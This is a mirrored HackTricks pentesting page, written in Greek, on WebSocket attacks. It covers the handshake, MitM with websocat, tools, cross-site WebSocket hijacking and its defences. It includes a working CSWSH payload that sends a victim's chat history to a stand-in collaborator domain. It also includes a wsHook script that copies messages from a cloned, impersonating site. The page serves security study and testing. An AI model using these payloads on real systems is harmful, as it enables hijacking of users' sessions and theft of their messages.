mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
190 lines
21 KiB
Markdown
190 lines
21 KiB
Markdown
# WebSocket Attacks
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Τι είναι τα WebSockets
|
||
|
||
Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής **HTTP** χειραψίας και είναι σχεδιασμένες να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων.
|
||
|
||
### Δημιουργία Συνδέσεων WebSocket
|
||
|
||
Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Συνοπτικά, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς του πελάτη όπως φαίνεται παρακάτω:
|
||
```javascript
|
||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||
```
|
||
Το πρωτόκολλο `wss` σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με **TLS**, ενώ το `ws` υποδεικνύει μια **μη ασφαλή** σύνδεση.
|
||
|
||
Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια χειραψία μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα:
|
||
|
||
Το πρόγραμμα περιήγησης στέλνει ένα αίτημα χειραψίας:
|
||
```javascript
|
||
GET /chat HTTP/1.1
|
||
Host: normal-website.com
|
||
Sec-WebSocket-Version: 13
|
||
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
||
Connection: keep-alive, Upgrade
|
||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||
Upgrade: websocket
|
||
```
|
||
Απάντηση χειραψίας διακομιστή:
|
||
```javascript
|
||
HTTP/1.1 101 Switching Protocols
|
||
Connection: Upgrade
|
||
Upgrade: websocket
|
||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||
```
|
||
Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και στις δύο κατευθύνσεις μόλις καθοριστεί.
|
||
|
||
**Βασικά Σημεία του WebSocket Handshake:**
|
||
|
||
- Οι κεφαλίδες `Connection` και `Upgrade` σηματοδοτούν την έναρξη ενός WebSocket handshake.
|
||
- Η κεφαλίδα `Sec-WebSocket-Version` υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως `13`.
|
||
- Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για να επιβεβαιώσει ότι η απάντηση δεν έχει παραχθεί από έναν κακώς ρυθμισμένο διακομιστή ή cache.
|
||
- Η κεφαλίδα `Sec-WebSocket-Accept` στην απάντηση του διακομιστή είναι ένα hash της `Sec-WebSocket-Key`, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.
|
||
|
||
Αυτά τα χαρακτηριστικά διασφαλίζουν ότι η διαδικασία handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποδοτική επικοινωνία σε πραγματικό χρόνο.
|
||
|
||
### Linux console
|
||
|
||
Μπορείτε να χρησιμοποιήσετε το `websocat` για να καθορίσετε μια ακατέργαστη σύνδεση με ένα websocket.
|
||
```bash
|
||
websocat --insecure wss://10.10.10.10:8000 -v
|
||
```
|
||
Ή για να δημιουργήσετε έναν διακομιστή websocat:
|
||
```bash
|
||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||
```
|
||
### MitM websocket connections
|
||
|
||
Αν διαπιστώσετε ότι οι πελάτες είναι συνδεδεμένοι σε ένα **HTTP websocket** από το τρέχον τοπικό σας δίκτυο, μπορείτε να δοκιμάσετε μια [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) για να εκτελέσετε μια επίθεση MitM μεταξύ του πελάτη και του διακομιστή.\
|
||
Μόλις ο πελάτης προσπαθήσει να συνδεθεί, μπορείτε στη συνέχεια να χρησιμοποιήσετε:
|
||
```bash
|
||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||
```
|
||
### Websockets enumeration
|
||
|
||
Μπορείτε να χρησιμοποιήσετε το **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **για να ανακαλύψετε, να αναγνωρίσετε και να αναζητήσετε γνωστές** **ευπάθειες** στα websockets αυτόματα.
|
||
|
||
### Websocket Debug tools
|
||
|
||
- Το **Burp Suite** υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία.
|
||
- Η [**socketsleuth**](https://github.com/snyk/socketsleuth) **επέκταση του Burp Suite** θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp αποκτώντας το **ιστορικό**, ρυθμίζοντας **κανόνες παρεμβολής**, χρησιμοποιώντας **κανόνες αντιστοίχισης και αντικατάστασης**, χρησιμοποιώντας **Intruder** και **AutoRepeater.**
|
||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.
|
||
- [**wsrepl**](https://github.com/doyensec/wsrepl) είναι ένα **διαδραστικό websocket REPL** σχεδιασμένο ειδικά για penetration testing. Παρέχει μια διεπαφή για την παρακολούθηση **εισερχόμενων μηνυμάτων websocket και αποστολής νέων**, με ένα εύχρηστο πλαίσιο για **αυτοματοποίηση** αυτής της επικοινωνίας.
|
||
- [**https://websocketking.com/**](https://websocketking.com/) είναι ένα **web για επικοινωνία** με άλλα webs χρησιμοποιώντας **websockets**.
|
||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει ένα **web για επικοινωνία** με άλλα webs χρησιμοποιώντας **websockets.**
|
||
|
||
## Decrypting Websocket
|
||
|
||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||
|
||
## Websocket Lab
|
||
|
||
Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) έχετε έναν κώδικα για να εκκινήσετε ένα web χρησιμοποιώντας websockets και σε [**αυτή την ανάρτηση**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση.
|
||
|
||
## Websocket Fuzzing
|
||
|
||
Η επέκταση burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) τώρα επιτρέπει επίσης την fuzzing των μηνυμάτων WebSocket. Μπορείτε να διαβάσετε περισσότερες πληροφορίες γι' αυτό [**εδώ**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
|
||
|
||
## Cross-site WebSocket hijacking (CSWSH)
|
||
|
||
**Cross-site WebSocket hijacking**, γνωστό και ως **cross-origin WebSocket hijacking**, αναγνωρίζεται ως μια συγκεκριμένη περίπτωση **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** που επηρεάζει τις χειραψίες WebSocket. Αυτή η ευπάθεια προκύπτει όταν οι χειραψίες WebSocket αυθεντικοποιούνται αποκλειστικά μέσω **HTTP cookies** χωρίς **CSRF tokens** ή παρόμοια μέτρα ασφαλείας.
|
||
|
||
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό φιλοξενώντας μια **κακόβουλη ιστοσελίδα** που ξεκινά μια διασυνοριακή σύνδεση WebSocket σε μια ευάλωτη εφαρμογή. Ως εκ τούτου, αυτή η σύνδεση θεωρείται μέρος της συνεδρίας του θύματος με την εφαρμογή, εκμεταλλευόμενη την έλλειψη προστασίας CSRF στον μηχανισμό διαχείρισης συνεδριών.
|
||
|
||
Για να λειτουργήσει αυτή η επίθεση, αυτές είναι οι απαιτήσεις:
|
||
|
||
- Η **αυθεντικοποίηση websocket πρέπει να βασίζεται σε cookie**
|
||
- Το cookie πρέπει να είναι προσβάσιμο από τον διακομιστή των επιτιθέμενων (αυτό συνήθως σημαίνει **`SameSite=None`**) και να μην είναι ενεργοποιημένη η **Firefox Total Cookie Protection** στο Firefox και να μην υπάρχουν **μπλοκαρισμένα τρίτα cookies** στο Chrome.
|
||
- Ο διακομιστής websocket δεν πρέπει να ελέγχει την προέλευση της σύνδεσης (ή αυτό πρέπει να είναι παρακάμψιμο)
|
||
|
||
Επίσης:
|
||
|
||
- Εάν η αυθεντικοποίηση βασίζεται σε τοπική σύνδεση (σε localhost ή σε τοπικό δίκτυο) η επίθεση **θα είναι δυνατή** καθώς καμία τρέχουσα προστασία δεν το απαγορεύει (ελέγξτε [περισσότερες πληροφορίες εδώ](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
||
|
||
### Simple Attack
|
||
|
||
Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση το **cookie** **αποστέλλεται** στον διακομιστή. Ο **διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **συνεδρία websocket** του βασισμένη στο αποσταλθέν cookie.
|
||
|
||
Έτσι, αν για **παράδειγμα** ο **διακομιστής websocket** **επιστρέψει το ιστορικό της συνομιλίας** ενός χρήστη αν αποσταλεί ένα μήνυμα με "**READY"**, τότε μια **απλή XSS** που ιδρύει τη σύνδεση (το **cookie** θα **σταλεί** **αυτόματα** για να εξουσιοδοτήσει τον θύμα χρήστη) **στέλνοντας** "**READY**" θα είναι σε θέση να **ανακτήσει** το ιστορικό της **συνομιλίας**.
|
||
```html
|
||
<script>
|
||
websocket = new WebSocket('wss://your-websocket-URL')
|
||
websocket.onopen = start
|
||
websocket.onmessage = handleReply
|
||
function start(event) {
|
||
websocket.send("READY"); //Send the message to retreive confidential information
|
||
}
|
||
function handleReply(event) {
|
||
//Exfiltrate the confidential information to attackers server
|
||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||
}
|
||
</script>
|
||
```
|
||
### Cross Origin + Cookie with a different subdomain
|
||
|
||
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) ο επιτιθέμενος κατάφερε να **εκτελέσει αυθαίρετο Javascript σε ένα υποτομέα** του τομέα όπου γινόταν η επικοινωνία μέσω web socket. Επειδή ήταν **υποτομέας**, το **cookie** αποστέλλοταν, και επειδή το **Websocket δεν έλεγξε σωστά την προέλευση**, ήταν δυνατό να επικοινωνήσει μαζί του και να **κλέψει tokens από αυτό**.
|
||
|
||
### Stealing data from user
|
||
|
||
Αντιγράψτε την εφαρμογή ιστού που θέλετε να προσποιηθείτε (τα αρχεία .html για παράδειγμα) και μέσα στο σενάριο όπου γίνεται η επικοινωνία μέσω websocket προσθέστε αυτόν τον κώδικα:
|
||
```javascript
|
||
//This is the script tag to load the websocket hooker
|
||
;<script src="wsHook.js"></script>
|
||
|
||
//These are the functions that are gonig to be executed before a message
|
||
//is sent by the client or received from the server
|
||
//These code must be between some <script> tags or inside a .js file
|
||
wsHook.before = function (data, url) {
|
||
var xhttp = new XMLHttpRequest()
|
||
xhttp.open("GET", "client_msg?m=" + data, true)
|
||
xhttp.send()
|
||
}
|
||
wsHook.after = function (messageEvent, url, wsObject) {
|
||
var xhttp = new XMLHttpRequest()
|
||
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
|
||
xhttp.send()
|
||
return messageEvent
|
||
}
|
||
```
|
||
Τώρα κατεβάστε το `wsHook.js` αρχείο από [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) και **αποθηκεύστε το μέσα στον φάκελο με τα αρχεία ιστού**.\
|
||
Εκθέτοντας την εφαρμογή ιστού και κάνοντάς την να συνδεθεί ένας χρήστης, θα μπορείτε να κλέψετε τα μηνύματα που αποστέλλονται και λαμβάνονται μέσω websocket:
|
||
```javascript
|
||
sudo python3 -m http.server 80
|
||
```
|
||
### CSWSH Προστασίες
|
||
|
||
Η επίθεση CSWSH βασίζεται στο γεγονός ότι ένας **χρήστης θα συνδεθεί σε μια κακόβουλη σελίδα** που θα **ανοίξει μια σύνδεση websocket** σε μια ιστοσελίδα στην οποία ο χρήστης είναι ήδη συνδεδεμένος και θα αυθεντικοποιηθεί ως αυτός καθώς το αίτημα θα στείλει τα cookies του χρήστη.
|
||
|
||
Σήμερα, είναι πολύ εύκολο να προληφθεί αυτό το ζήτημα:
|
||
|
||
- **Έλεγχος προέλευσης από τον διακομιστή websocket**: Ο διακομιστής websocket θα πρέπει πάντα να ελέγχει από πού συνδέεται ένας χρήστης για να αποτρέψει απροσδόκητες σελίδες να συνδεθούν σε αυτόν.
|
||
- **Διακριτικό αυθεντικοποίησης**: Αντί να βασίζεται η αυθεντικοποίηση σε ένα cookie, η σύνδεση websocket θα μπορούσε να βασίζεται σε ένα διακριτικό που δημιουργείται από τον διακομιστή για τον χρήστη άγνωστο στον επιτιθέμενο (όπως ένα διακριτικό κατά της CSRF).
|
||
- **Χαρακτηριστικό Cookie SameSite**: Τα cookies με τιμή `SameSite` ως `Lax` ή `Strict` δεν θα σταλούν από μια εξωτερική σελίδα επιτιθέμενου στον διακομιστή του θύματος, επομένως, η αυθεντικοποίηση με βάση τα cookies δεν θα είναι επιτυχής. Σημειώστε ότι το Chrome τώρα θέτει την τιμή **`Lax`** στα cookies χωρίς αυτή τη σημαία, καθιστώντας το πιο ασφαλές από προεπιλογή. Ωστόσο, τα πρώτα 2 λεπτά που δημιουργείται ένα cookie θα έχει την τιμή **`None`**, καθιστώντας το ευάλωτο κατά τη διάρκεια αυτής της περιορισμένης περιόδου (αναμένεται επίσης ότι αυτό το μέτρο θα καταργηθεί κάποια στιγμή).
|
||
- **Προστασία Cookies Total του Firefox**: Η Total Cookie Protection λειτουργεί απομονώνοντας τα cookies στη σελίδα στην οποία δημιουργούνται. Ουσιαστικά, κάθε σελίδα έχει το δικό της διαμέρισμα αποθήκευσης cookies για να αποτρέψει τρίτους να συνδέσουν την ιστορικό περιήγησης ενός χρήστη. Αυτό καθιστά **αδύνατη την CSWSH** καθώς η σελίδα των επιτιθέμενων δεν θα έχει πρόσβαση στα cookies.
|
||
- **Φραγή τρίτων cookies του Chrome**: Αυτό θα μπορούσε επίσης να αποτρέψει την αποστολή του cookie του αυθεντικοποιημένου χρήστη στον διακομιστή websocket ακόμη και με `SameSite=None`.
|
||
|
||
## Συνθήκες Αγώνα
|
||
|
||
Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα ζήτημα, [ελέγξτε αυτή την πληροφορία για να μάθετε περισσότερα](race-condition.md#rc-in-websockets).
|
||
|
||
## Άλλες ευπάθειες
|
||
|
||
Καθώς τα Web Sockets είναι μηχανισμός για **αποστολή δεδομένων προς τον διακομιστή και τον πελάτη**, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για την εκμετάλλευση αρκετών άλλων ευπαθειών όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.**
|
||
|
||
## **WebSocket Smuggling**
|
||
|
||
Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων διακομιστών μεσολάβησης** κάνοντάς τους να πιστεύουν ότι μια **επικοινωνία websocket έχει καθιερωθεί** (ακόμη και αν δεν είναι αληθές). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές οντότητες**. Για περισσότερες πληροφορίες, ελέγξτε την παρακάτω σελίδα:
|
||
|
||
{{#ref}}
|
||
h2c-smuggling.md
|
||
{{#endref}}
|
||
|
||
## Αναφορές
|
||
|
||
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|